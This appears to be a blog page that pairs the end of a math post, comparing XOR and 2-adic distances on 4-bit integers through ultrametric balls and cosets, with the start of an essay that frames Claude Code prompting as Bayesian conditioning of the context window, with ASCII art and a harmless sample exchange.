Now, are some weird consequences of these facts: two balls are always either disjoint or one contains the other. In Euclidean space, two circles can easily form a Venn diagram where they share some area but not all of it. In an ultrametric space, this is mathematically impossible. And every point inside a ball is equally a center of that ball. Moreover, every interior point sees the exact same set of neighbours. The geometry has no “edges” — only “inside” and “outside.” Here’s your ball in an ultrametric space (wait, you thought it’s gonna be a round physical sphere?):

Let’s now think a bit about closeness — what does XOR-closeness actually mean?

Two numbers are close when their XOR is small — i.e., when the most significant differing bit is low. That means their leading (high-order) bits agree.

Take 4-bit integers and look at who is close to 0000:

number	$d_\oplus$ from `0000`	cluster
`0000`	$0$	← center
`0001`	$2^0 = 1$	$B(0000, 1) = \{0000, 0001\}$
`0010`	$2^1 = 2$
`0011`	$2^1 = 2$	$B(0000, 2) = \{0000, \ldots, 0011\}$
`0100`	$2^2 = 4$
`0101`	$2^2 = 4$
`0110`	$2^2 = 4$
`0111`	$2^2 = 4$	$B(0000, 4) = \{0000, \ldots, 0111\}$
`1000`	$2^3 = 8$
`1001`	$2^3 = 8$
`1010`	$2^3 = 8$
`1011`	$2^3 = 8$
`1100`	$2^3 = 8$
`1101`	$2^3 = 8$
`1110`	$2^3 = 8$
`1111`	$2^3 = 8$	$B(0000, 8) = \{0000, \ldots, 1111\}$

The cluster column closes at the last member of each ball — so you can read the table as a sequence of nested containments: each ball swallows the previous one whole, and the groups double in size at each step (1, 2, 4, 8 members).

⊕

Now forget XOR entirely. Here’s a completely different question. What if we defined “closeness” by shared trailing digits instead?

Let’s say two integers are “close” if their difference is divisible by a high power of 2. That is:

pair	difference	highest power of 2 dividing it	close?
$4,\ 12$	$8 = 2^3$	$2^3$	yes
$3,\ 7$	$4 = 2^2$	$2^2$	yes
$1,\ 2$	$1$	$2^0$	no

In this bizarre new metric, larger powers mean smaller distances. The key quantity is: how many times does 2 divide a number? Let’s give it a name — the 2-adic valuation $v_2(n)$ :

v_2(n) = \text{trailing zeros in the binary representation of } n \tag{3}

Some examples:

$n$	binary	$v_2(n)$
$8$	$1000_2$	$3$
$7$	$0111_2$	$0$
$6$	$0110_2$	$1$
$5$	$0101_2$	$0$
$0$	—	$\infty$

Now, let’s define the 2-adic metric as:

d_2(x, y) = 2^{-v_2(x - y)} \tag{4}

Small $d_2$ means $v_2(x-y)$ is large, which means $x - y$ is divisible by a high power of 2, which means $x$ and $y$ agree on many trailing bits.

Let’s check who is close to $0$ under this metric (all 4-bit integers, sorted by distance):

number	$d_2$ from `0000`	cluster
`0000`	$0$	← center
`1000`	$2^{-3} = 0.125$	$B(0000, 0.125) = \{0000, 1000\}$
`0100`	$2^{-2} = 0.25$
`1100`	$2^{-2} = 0.25$	$B(0000, 0.25) = \{0000, \ldots, 1100\}$
`0010`	$2^{-1} = 0.5$
`0110`	$2^{-1} = 0.5$
`1010`	$2^{-1} = 0.5$
`1110`	$2^{-1} = 0.5$	$B(0000, 0.5) = \{0000, \ldots, 1110\}$
`0001`	$2^{0} = 1$
`0011`	$2^{0} = 1$
`0101`	$2^{0} = 1$
`0111`	$2^{0} = 1$
`1001`	$2^{0} = 1$
`1011`	$2^{0} = 1$
`1101`	$2^{0} = 1$
`1111`	$2^{0} = 1$	$B(0000, 1) = \{0000, \ldots, 1111\}$

The cluster column closes at the last member of each ball — same nested-containment structure as XOR, balls doubling in size at each step (2, 4, 8, 16 members). But notice: 1000 is the closest to 0000 because they share three trailing zeros, yet they differ in their leading bit and are maximally far under the XOR metric.

The 2-adic metric also satisfies the ultrametric inequality, with the same alien geometry — disjoint-or-nested balls, every interior point is a center, etc. Verify that this is true.

Before we move on, a brief historical note. The p-adic numbers were invented by Kurt Hensel in 1897. He introduced them in a paper that year and expanded the theory in his 1908 book Theorie der algebraischen Zahlen. The motivation was analogy with power series in complex analysis: just as you can expand a function as $\sum a_n x^n$ , Hensel wanted to expand integers as $\sum a_n p^n$ .

⊕

Here are both metrics side by side for all 4-bit integers 0–15. Let’s put them in order and watch the two clusterings diverge:

number	$d_\oplus$ from `0000`	$d_2$ from `0000`
`0000`	$0$	$0$
`0001`	$2^0 = 1$	$1.000 = 2^{0}$
`0010`	$2^1 = 2$	$0.500 = 2^{-1}$
`0011`	$2^1 = 2$	$1.000 = 2^{0}$
`0100`	$2^2 = 4$	$0.250 = 2^{-2}$
`0101`	$2^2 = 4$	$1.000 = 2^{0}$
`0110`	$2^2 = 4$	$0.500 = 2^{-1}$
`0111`	$2^2 = 4$	$1.000 = 2^{0}$
`1000`	$2^3 = 8$	$0.125 = 2^{-3}$
`1001`	$2^3 = 8$	$1.000 = 2^{0}$
`1010`	$2^3 = 8$	$0.500 = 2^{-1}$
`1011`	$2^3 = 8$	$1.000 = 2^{0}$
`1100`	$2^3 = 8$	$0.250 = 2^{-2}$
`1101`	$2^3 = 8$	$1.000 = 2^{0}$
`1110`	$2^3 = 8$	$0.500 = 2^{-1}$
`1111`	$2^3 = 8$	$1.000 = 2^{0}$

That table encodes a very pleasing visual representation, which I’ll render below. Before we look at the picture, I need one word: coset.

A coset is just a shifted copy of a repeating pattern. Take “all multiples of 4” within 0–15: that’s {0, 4, 8, 12}. Now shift it by 1: {1, 5, 9, 13}. Shift by 2: {2, 6, 10, 14}. Shift by 3: {3, 7, 11, 15}. We just produced four cosets.

Why do we care here? Because the balls of an ultrametric are cosets. Every number inside a 2-adic ball of radius $2^{-k}$ is within $2^{-k}$ of every other number in that ball — which means all their pairwise differences are divisible by $2^k$ — which means they all belong to the same residue class modulo $2^k$ . That’s a coset of the subgroup of multiples of $2^k$ . The same is true for XOR: every ball is a coset of the subgroup of numbers sharing the same leading $k$ bits.

So the colors in the picture below are cosets. Each color = one coset of some subgroup. The two panels show the two completely different coset structures that the two metrics induce on the same 16 numbers.

Let’s start by looking at the XOR panel first. It’s now obvious that the table’s rows form solid blocks: 0–3 share one color, 4–7 another, 8–11 another, and lastly, 12–15 another. They represent contiguous blocks. All numbers that share their leading bits land together, and the blocks tile the number line without gaps or interleaving.

Now look at the 2-adic panel. The colors alternate: 0 and 1 are different shades, 2 and 3 are different, and the pattern keeps splitting as we move to the right. We immediately notice that even and odd numbers belong to different groups. But what’s peculiar is that then within the evens, multiples of 4 and non-multiples split again. Then multiples of 8 split off. The groups aren’t contiguous ranges — they’re scattered across the number line in a fractal, self-similar pattern. Who ordered that?

In the picture you might notice the legend saying things like $n \equiv 2 \pmod{4}$ . That’s because two numbers share $k$ trailing bits in binary if and only if their difference is divisible by $2^k$ — which is just $x \equiv y \pmod{2^k}$ . “Sharing trailing bits” and “being congruent modulo a power of 2” are cast in the same mould. So, looking at $n \equiv 2 \pmod{2^2}$ picks out numbers whose last two bits are 10: that’s 2, 6, 10, 14. Because we are measuring their distance from 0, we look at how many trailing bits they share with 0000 — which happens to be exactly their number of trailing zeros. They each have exactly one trailing zero, so their 2-adic distance from 0 is $2^{-1} = 0.5$ .

Here’s one last cool part. The same 16 numbers encode two completely alien notions of “neighborhood.” 1000 (= 8) is the most extreme example: it is tied for farthest from 0000 under XOR (left-to-right, MSB first), but is the uniquely closest number under 2-adic (right-to-left, LSB first) in this 4-bit universe. One can formally prove the connection, but I’m gonna leave that as an exercise to the reader.

Anyway, isn’t this beautiful? I hope from now on you’ll always be thinking about trailing bits whenever you deal with a modulo!

Cosplaying Competence in the Age of Conditionals

2026-03-20T00:00:00+00:00

“You cannot answer a question that you cannot ask, and you cannot ask a question that you have no words for.”
— Pearl

tl;dr
The difference between a productive agentic coding session and a catastrophically maladjusted one is not the model, and categorically not the phase of the moon—it is the statistical structure of what goes into the context window. Which is to say, the agent is a conditional distribution and you are part of that conditioning. You look like you know what you are doing, but the thing you are actually doing is curating a conditional distribution’s evidence stream, and that bears no structural resemblance to the thing you think you are doing, which is writing software. The hard-to-swallow pill is that, while the competence is real, it is the wrong competence, because you are competent at a thing that no longer exists, or will not for much longer. I am trying to make that feel obvious and to dissuade you of the comfortable illusion that you are still a programmer issuing imperious commands to the silicon golem, rather than an experimentalist cherry-picking the right evidence from a bewilderingly noisy universe of possible evidence. In that regard, you are closer to a painstaking, obsessively attentive digital horse whisperer than to anything resembling a traditional software engineer.

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@*+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======%%@@+====================+#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@%#######+===========================================*#######%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@@%%*===#%%@+===%%@%@@@@@@@%@%===+%@@%===+%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%+==+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

I had recently been invited to tip my hand as a speaker, to engage in an act of “accidental” self-disclosure in front of an audience that I had no reason to expect would internalize anything from what I had to say—and who did not, it should be noted, disappoint on that front. I was given 10 minutes to show and tell about how I use Claude Code, then lead a table discussion with whoever wanted to sit down and talk about it. And what ended up happening, with a kind of inevitability that in retrospect feels almost cosmological, is that I entered the room as the person with something to teach and left it as the only person who had learned anything. The pedagogical term for this, I believe, is a complete failure.

Let me try again.

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@*+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======%%@@+====================+#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@%#######+===========================================*#######%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@@%%*===#%%@+===%%@%@@@@@@@%@%===+%@@%===+%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%+==+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Surprise to none knowing me in any depth, I have a predilection (a tropism even) for thinking statistically. Grounding—not “anchoring,” a word which I fought for and lost, because Kahneman has permanently claimed it for the pathology of not updating—is what I am referring to as the epistemic process of making the present information and the past information cohere in a way that allows an educated guess about the nature of what is actually happening.

Every present interaction becomes a past interaction, and every potential interaction becomes a present interaction. This is a temporal truism providing fertile ground for a particular kind of statistical thinking—Bayesianism.

Experience is a conveyor belt.

And maybe not unlike you, an agent trapped in a box framed by your terminal, is embedded in a sequence of interactions in which the constant conversion of future into present into past is performing something structurally Bayesian (whether or not it is running Bayes’ theorem under the hood, we will see).

I will make the charitable assumption that you all can read that. It happens to be the case that the structure of natural language is massively redundant; the statistical structure of English in particular is so rich you can recover meaning even from heavily corrupted text. Let us ask Claude Code what does it make of this:

❯ /clear

❯ Aoccdrnig to rscheearch at Cmabirgde Uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht the frist and lsat ltteer be at the rghit pclae. The rset can be a ttoal mses and you can sitll raed it wouthit porbelm. Tihs is bcuseae the huamn mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe. Amzanig huh?

⏺ Yep, perfectly readable. The passage works because English carries far more statistical structure than needed for comprehension; your brain is doing something very Bayesian — using the first/last letter anchors plus word-shape priors to reconstruct meaning from noisy input.

❯ but you have no brain like i do and was still able to decode it -- why?

⏺ Because the same redundancy that lets your brain recover meaning lets my learned distributions do it too. I've never seen those exact scrambled words before, but I've seen enough English that the statistical prior is overwhelming — given the first letter, last letter, word length, and surrounding context, there's really only one plausible word each token could be.

Claude probably saw those exact scrambled words before, but that is not the point. My brain and Claude’s “brain” are pattern-matching against a lifetime (in my case) or a training corpus (in Claude’s case) of learned distributions over word sequences.

What constitutes a language is not an eternal ideal form, represented by the settings of a small number of parameters, but rather is the contingent outcome of complex processes. Since they are contingent, it seems they can only be analyzed with probabilistic models. Since people have to continually understand the uncertain, ambiguous, noisy speech of others, it seems they must be using something like probabilistic reasoning.
— On Chomsky and the Two Cultures of Statistical Learning

An agent is an LLM, and an LLM is a transformer, and a transformer is a statistical model. The weights of a transformer are storing the knobs of an obscenely large probability distribution over text. So, when Claude Code is doing its thing, nails working code for me like a well-paid grunt, it is not because it “understands” my codebase in some deep, human-like way, but because code, like that scrambled paragraph, has enormous statistical regularity the model has internalized.

Prompting is an attempt at tickling the right neurons with the chosen evidence you are conditioning on.

Let me say this more carefully.

At inference time, when the model is generating output, it is sampling from a distribution, more specifically, this one:

P(\text{next token} | \text{everything that came before})

Everything that came before.

Your *.md files, dubious task descriptions that probably not even you would understand upon a second reading, the files you loaded (including the ones you do not need), the model’s own previous “You’re absolutely right”s vowing to fix the same error message you have been getting for the past three hours, your frustration and despair as one-liners; all of it. Every single token in the context window is to the right of that vertical bar and the model’s output is a function of that evidence.

Said without poetry:

March 11, 2026

(There is obviously a capability bar I am willingly ignoring here, that sets a hard cap on what the model can achieve with the provided evidence, because from what I come across, there is a breed of prompt engineering folks out there with course covers that look like a cornered, molested Midjourney was forced at gunpoint to vomit cyberpunk rainbows, who are setting a lower bar than the model’s actual capabilities by being not just flagrantly fake but dangerously so.)

Incidentally, /clear is, in an expanding brain meme sort of way, statistical intervention. When I clear the context window, I choose to discard all the evidence I have been accumulating, allowing the prior—the weights of the model—to operate on a blank slate. In most cases, you are decontaminating the model from the evidence of your previous failures. The people who are good at this clear context with the ruthlessness of a surgeon debriding a wound, and the people who are bad at this let forty turns of accumulated confusion sit in the context window like a festering abscess, wondering why the model went to being a babbling dingleberry.

It is (still) our duty as humans in the loop to be aware of our complicity, because every time we let a bad turn stand, we engage in co-authored hallucination. Learning to notice when you have wandered off the distribution is a skill worth cultivating before the session teaches you the hard way.

So what does it mean to use Claude Code “well”?

In my experience, it means I am less and less of a programmer, and more and more of an experimentalist, running live experiments in the context window, carefully curating the evidence collaboratively, in real time, with the model. My every session starts with a hypothesis about what the model can do provided with the evidence I am about to give it. That is more or less my experimental design. If the results are not what I expected, I redesign the experiment—load different files, restate the constraints, maybe find a worked example, and try again, every time learning something new about the statistical structure of the problem I am trying to solve.

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@*+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======%%@@+====================+#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@%#######+===========================================*#######%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@@%%*===#%%@+===%%@%@@@@@@@%@%===+%@@%===+%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%+==+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
